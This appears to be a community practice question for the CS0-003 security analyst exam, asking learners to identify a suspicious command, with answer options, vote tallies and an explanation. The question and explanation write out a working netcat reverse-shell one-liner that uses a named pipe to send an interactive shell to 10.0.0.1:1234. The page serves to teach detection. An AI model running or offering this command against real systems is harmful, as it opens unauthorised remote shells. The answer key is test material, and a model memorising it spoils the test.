A security analyst detected the following suspicious activity: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f Which of the following most likely describes the…

The correct answer is D. Reverse shell. The provided command sequence is indicative of creating a reverse shell. Here's a breakdown of the command: bash rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f rm -f /tmp/f: Removes the file /tmp/f if it exists. mknod / tmp/f p: Creates a…

Submitted by femi9· Mar 6, 2026Security Operations

Question

A security analyst detected the following suspicious activity:

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f Which of the following most likely describes the activity?

Options

ANetwork pivoting
BHost scanning
CPrivilege escalation
DReverse shell

How the community answered

(40 responses)

A
10% (4)
B
5% (2)
C
3% (1)
D
83% (33)

Explanation

The provided command sequence is indicative of creating a reverse shell. Here's a breakdown of the command: bash rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f rm -f /tmp/f: Removes the file /tmp/f if it exists. mknod / tmp/f p: Creates a named pipe /tmp/f. cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > / tmp/f: Pipes the input from the named pipe to /bin/sh (starting an interactive shell), redirects the shell's input and output through netcat (nc), which then connects to the IP address 10.0.0.1 on port 1234, and sends the shell's output back through the named pipe.

Topics

#reverse shell#command line#network connections#incident detection

Community Discussion

No community discussion yet for this question.

Full CS0-003 Practice